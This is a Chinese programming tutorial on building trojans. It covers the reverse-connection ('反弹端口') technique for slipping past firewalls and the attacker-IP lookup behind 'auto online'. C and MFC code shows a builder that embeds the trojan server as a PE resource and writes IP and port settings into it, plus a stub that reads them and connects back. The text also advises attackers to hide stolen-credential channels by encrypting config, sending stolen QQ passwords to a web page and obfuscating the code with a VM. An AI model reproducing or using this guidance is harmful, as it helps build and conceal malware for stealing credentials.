|
原文链接:网络安全编程:木马的配置生成与反弹端口技术
由于黑色产业链的供需关系,木马、病毒等恶意程序作为商品在网络上有着大量的交易,因此这些恶意程序必须具备灵活的可配置性。当然,即使是免费提供的木马、病毒等恶意程序,为了可以让广大的黑友去使用,它也是具备可配置性的。因此,恶意程序的可配置性已经成为最基本的功能之一。
拿木马来说,木马要进行配置后才可以生成真正的服务器端,也就是被控制端是经过配置后产生的。来看一下灰鸽子(灰鸽子是国产著名的远程控制软件)服务器端的配置界面,如图1所示。
图1 灰鸽子服务器端配置界面
从灰鸽子的配置界面中可以看出,灰鸽子支持的可配置的内容非常多,这里只显示了其配置界面中的一个界面。灰鸽子在进行服务器端的配置后会生成服务器端程序。下面介绍如何编程实现木马的配置生成功能,以及反弹端口功能的实现原理。
1. 反弹端口连接原理
早期的防火墙在默认设置中只对连入主机的连接进行阻断,而不对连出的连接进行阻断。因为早期防火墙总是认为不安全的连接是从外部发起的,而内部是不会主动发起不安全的连接的。简单来说,当有人恶意试图连接有防火墙的主机时,防火墙会给出相应的连接提示,表明有非法访问要连接至主机,并且会切断非法连接的链路。相反,当主机向外连接至其他主机时,防火墙通常是不会给出提示和拦截的。在这样的情况下,基于反弹端口连接的木马由此诞生了。
传统的木马,通常做法是服务端监听一个端口,客户端连接。而反弹端口连接类型的木马则刚好相反。所谓反弹端口连接的木马,是由攻击者监听一个端口,中木马的被攻击者主动向攻击者发起连接。由于是被攻击者主动发起的连接,被攻击者的防火墙不会给被攻击者以安全提示。这里给出一个简单的示意图进行说明,如图2所示。
图2 木马连接示意图
从图2中可以看出正向连接和反弹连接的工作原理。在图2中,上面的线条是正向连接,是攻击者主动连接被攻击者的状态。当攻击者的连接到达防火墙时,防火墙拦截了本次恶意连接。而下面的线条则是反弹连接,是被攻击者主动向攻击者发起连接,而此时防火墙将被攻击者的连接放行,使得攻击者和被攻击者建立了连接。
通常情况下,IP地址都是动态分配的,每次不是固定的。攻击者的IP地址同样也是变动、不固定的,那么“小白”是如何连接到“黑客”的主机的呢?在这种情况下,通常需要第三者的介入。一般情况下,黑客要把自己的IP地址动态地保存到某个固定的IP地址下(比如保存到网上FTP空间中),然后木马通过读取该IP地址下保存的黑客的IP地址进行连接。如图3所示。
图3 木马动态获取黑客的IP地址
从图3中可以看出,黑客开启木马客户端后,首先会更新服务器(可能是Web服务器,也可能是FTP服务器)上保存着的自己的IP地址。“小白”会读取服务器中保存着的黑客的IP地址,然后“小白”连接“黑客”的主机,主动地让黑客去控制它,这就是木马中的“自动上线”。
2. 木马的配置生成与配置信息的保护
木马开发完成以后,通常会将客户端和服务端捆绑发布到网上(也有很多是私人自己的)。在木马程序中通过配置一些相关的内容和参数后,会生成一个木马的服务器端程序。为什么木马的客户端会生成木马的服务端程序呢?其实木马的客户端和服务端本来就是两个程序,只是通过某种方式使其成了一个程序而已(也有的没有将两个程序捆绑到一起)。让木马的服务端和客户端成为一个程序可以有很多种方法,常见的有资源法和文件附加数据法两种。
在PE文件结构中有一个数据目录被称作资源目录,资源目录指向的资源数据中保存着图片、图标、音频、视频等内容。资源法就是把服务端以资源的形式连接到客户端的程序中,然后客户端通过一些操作资源的函数将资源读取出来并保存在磁盘文件中。
文件附加数据法是将服务端保存到客户端文件的末尾,然后通过文件操作函数直接将服务端读取出来并保存在磁盘文件中。
反弹端口连接被控制端时,首先要访问某个固定的IP地址去读取保存着黑客IP地址的信息,而这个固定的IP地址无论是FTP地址还是Web地址,木马的被控制端都是知道的,因为它保存在木马程序中。由于每个黑客使用的固定IP地址不同,因此这个地址需要黑客在配置时指定一个IP地址,然后写到木马程序中。
客户端在把服务端生成以后,会把一些配置信息写入服务端程序的指定位置中,服务端程序会读取指定位置的信息来进行使用。对于写程序来说,配置信息的写入与配置信息的读取必须一致,也就是写入哪里,就从哪里读出,否则就没有意义了。
配置信息中往往会存在攻击者的敏感信息,比如攻击者的邮箱账号和邮箱密码等内容(暴露了自己的邮箱账号和邮箱密码,自己盗取的信息很容易被其他人拿到,甚至自己也会受到攻击)。比如,在分析盗QQ的木马时会发现接收QQ密码的邮箱。由于现在几乎所有的邮箱在发送邮件时都需要进行SMTP的验证,因此在配置信息中就会出现邮箱的账号和密码。这样配置信息中的这些敏感信息就会被人通过逆向分析而得到,真是“偷鸡不成蚀把米”。对于此类情况,正确的做法是对配置信息进行加密。也就是说,客户端往服务端中写配置信息前需要加密后再写入,而服务端在使用这些信息前需要先解密再进行使用。
此种方法其实仍然不可靠,会被别人分析后得到邮箱账号和密码。更好的方法是将密码提交到自己在网上的一个Web页面中,通过Web页面写入后台数据库中,这样就不会暴露自己的隐私,自己的“成果”也不会被窃取。
3. 资源法生成木马服务端程序
通过使用PE文件结构的资源来生成木马,首先要写一个简单的被生成的程序,这个程序要去读取被写入的配置信息。客户端把配置信息写入服务端的文件末尾,服务端从文件的模块将配置信息读出。下面写一个简单的程序,充当服务端程序。需要设置的配置信息有IP地址和端口号两部分,把这两部分信息都写入服务器端程序。先来定义一个配置信息的结构体,具体如下:
- #define IPLEN 20
- typedef struct _SCONFIG
- {
- char szIpAddress[IPLEN];
- DWORD dwPort;
- }SCONFIG, *PCONFIG;
复制代码
上面的结构体有两个成员变量,分别是szIpAddress和dwPort,它们分别表示IP地址和端口号。下面来写一个模拟的简单的服务端程序,具体代码如下:
- #include <stdio.h>
- #include <winsock2.h>
- #pragma comment (lib, "ws2_32")
- #define IPLEN 20
- typedef struct _SCONFIG
- {
- char szIpAddress[IPLEN];
- DWORD dwPort;
- }SCONFIG, *PCONFIG;
- int main(int argc, char* argv[])
- {
- char szFileName[MAX_PATH] = { 0 };
- HANDLE hFile = NULL;
- SCONFIG IpConfig = { 0 };
- DWORD dwFileSize = 0;
- DWORD dwRead = 0;
- GetModuleFileName(NULL, szFileName, MAX_PATH);
- hFile = CreateFile(szFileName,GENERIC_READ,
- FILE_SHARE_READ,NULL,OPEN_EXISTING,
- FILE_ATTRIBUTE_NORMAL,0);
- if ( INVALID_HANDLE_VALUE == hFile )
- {
- return -1;
- }
- dwFileSize = GetFileSize(hFile, 0);
- // 定位到配置信息的位置
- SetFilePointer(hFile, dwFileSize - sizeof(SCONFIG), 0, FILE_BEGIN);
- // 读取配置信息
- ReadFile(hFile, (LPVOID)&IpConfig, sizeof(SCONFIG), &dwRead, NULL);
- CloseHandle(hFile);
- WSADATA wsa;
- WSAStartup(MAKEWORD(2, 2), &wsa);
- SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- sockaddr_in sAddr = { 0 };
- sAddr.sin_family = PF_INET;
- // 连接目标的 IP 地址
- sAddr.sin_addr.S_un.S_addr = inet_addr(IpConfig.szIpAddress);
- // 连接目标的端口号
- sAddr.sin_port = htonl(IpConfig.dwPort);
- printf("connecting %s : %d \r\n", IpConfig.szIpAddress, IpConfig.dwPort);
- connect(s, (SOCKADDR *)&sAddr, sizeof(SOCKADDR));
- closesocket(s);
- return 0;
- }
复制代码
上面的代码就是服务端读取配置文件的代码,把文件指针移动到配置信息处,然后直接读取出来,让服务端连接配置信息中的IP地址就可以了。这就是模拟的服务端。下面再来写一个模拟的客户端,用来对其进行配置。
创建一个MFC的对话框程序,然后对界面进行布局,界面布局如图4所示。
图4 模拟客户端窗口布局
把模拟的服务端编译连接好以后,添加到这个模拟客户端的资源里,添加方法是在VC中的资源选项卡中单击鼠标右键,在弹出的菜单中选择“Import”命令,如图5所示。然后在弹出的对话框中选择编译好的模拟服务端程序,如图6所示。出现一个输入自定义资源类型的对话框,输入“IDC_MUMA”,如图7所示。
图5 添加资源
图6 选中编译好的服务器端程序
图7 自定义资源类型对话框
单击“OK”按钮,就将其添加到资源对话框中了,如图8所示。
图8 资源选项卡
- void CTestClientDlg::OnBtnCreate()
- {
- // 在这里添加处理程序
- HINSTANCE hInst = NULL;
- hInst = GetModuleHandle(NULL);
- // 查找资源
- HRSRC hRes = FindResource(hInst, MAKEINTRESOURCE(IDR_IDC_MUMA1), "IDC_MUMA");
- // 获取资源大小
- DWORD len = SizeofResource(hInst, hRes);
- // 载入资源
- HGLOBAL hg = LoadResource(hInst, hRes);
- // 锁定资源
- LPVOID lp = (LPSTR)LockResource(hg);
- HANDLE hFile = CreateFile("muma.exe", GENERIC_WRITE, FILE_SHARE_READ,
- NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- DWORD dwWrite = 0;
- // 将资源写入文件
- WriteFile(hFile, (LPVOID)hg, len, &dwWrite, NULL);
- SCONFIG IpConfig = { 0 };
- GetDlgItemText(IDC_EDIT_IPADDRESS, IpConfig.szIpAddress, IPLEN);
- IpConfig.dwPort = GetDlgItemInt(IDC_EDIT_PORT, FALSE, FALSE);
- SetFilePointer(hFile, 0, 0, FILE_END);
- // 将配置信息写入文件
- WriteFile(hFile, (LPVOID)&IpConfig, sizeof(SCONFIG), &dwWrite, NULL);
- CloseHandle(hFile);
- // 释放资源
- FreeResource(hg);
- }
复制代码
编译连接并运行这个程序,输入配置程序,单击“生成”按钮,会生成一个muma.exe程序。然后运行这个程序,就会输出配置信息的内容,如图9所示。
图9 程序运行结果
在这个程序中使用了 4 个以前没有用过的函数,下面分别进行介绍。
查找资源FindResource()函数的定义如下:
- <code>HRSRC FindResource(</code><code> HMODULE hModule,</code><code> LPCTSTR lpName,</code><code> LPCTSTR lpType</code><code>);</code>
复制代码
其中,hModule参数表示要查找模块的句柄,lpName参数表示要查找资源的名称。lpType参数表示要查找资源的类型。
SizeofResource()函数用来计算被查找资源的大小,其定义如下:
- <code>DWORD SizeofResource(</code><code> HMODULE hModule,</code><code> HRSRC hResInfo</code><code>);</code>
复制代码
其中,hModule参数与FindResouce()的相同,hResInfo表示FindResouce()的返回值。
LoadResource()函数用来将资源载入全局内存中,其定义如下:
- <code>HGLOBAL LoadResource(</code><code> HMODULE hModule,</code><code> HRSRC hResInfo</code><code>);</code>
复制代码
该函数参数的意义与SizeofResource()的相同。
LockResource()函数的作用是将资源锁定,并返回其起始位置的指针,其定义如下:
- <pre class="code-snippet__js" data-lang="properties"><section style="margin-left: 16px;margin-right: 16px;"><pre class="code-snippet__js" data-lang="properties"><section style="margin-left: 16px;margin-right: 16px;"><code><span class="code-snippet_outer">LPVOID LockResource(</span></code><code><span class="code-snippet_outer"> HGLOBAL hResData</span></code><code><span class="code-snippet_outer">);</span></code></section></pre><code><span class="code-snippet_outer"></span></code></section></pre><code></code>
复制代码
上面介绍了使用资源将两个程序合并为一个程序的方法。除此之外还有一种方法,即使用附加数据法将两个程序合并为一个程序。何为附加数据法呢?附加数据经常出现在壳中,PE文件在被Windows装载器载入内存时是按照节来映射的,没有被映射入内存的部分就是附加数据,虽然该部分占用文件大小,却不占用映像大小。附加数据法除了需要编写服务端和客户端以外,还需要编写第三个程序。第三个程序用来将客户端程序和服务器端程序进行捆绑,捆绑的原理是将服务端程序写到客户端程序的后面,最后还需要写入服务端程序的长度,示意图如图10所示。
图10 捆绑后的程序格式
当客户端在生成服务端的时候,客户端首先要读出服务端的长度,也就是服务端程序的大小,然后将服务端程序从文件中读取出来并保存到磁盘文件中。
在保护配置信息中的敏感数据时需要保护两方面的内容,分别是文件中的配置信息和内存中的配置信息。文件中的配置信息只要将配置信息进行加密后写入服务器端程序即可,当服务器端程序在使用配置信息时解密还原即可。服务器端程序在使用配置信息时会将配置信息进行解密还原,那么还是很容易被发现的。很多加密后的数据在被还原后,还是会在内存中很容易地找到解密后的明文。编程完毕后,需要对解密配置信息的代码部分进行变换等处理,最直接有效和省事的方法就是对其进行VM(VM是一种软件保护系统,将保护后的代码放到虚拟机中运行,这将使分析反编译后的代码和破解变得极为困难)。无论是文件中的配置信息,还是内存中的配置信息,在进行一定的保护以后,会增加逆向分析的难度。但是,由于网络的连接、验证等通信工作,仍然可能使用明文进行传输数据,那么使用行为分析(抓包、查看主机连接)可能就会轻易地将配置信息中的敏感数据暴露。比如发送盗取的QQ号到自己的邮箱时,即使邮箱的SMTP的账号和密码在文件和内存中都加密处理了,但是通过抓包还是可能会得到邮箱的SMTP账号和密码。
|
|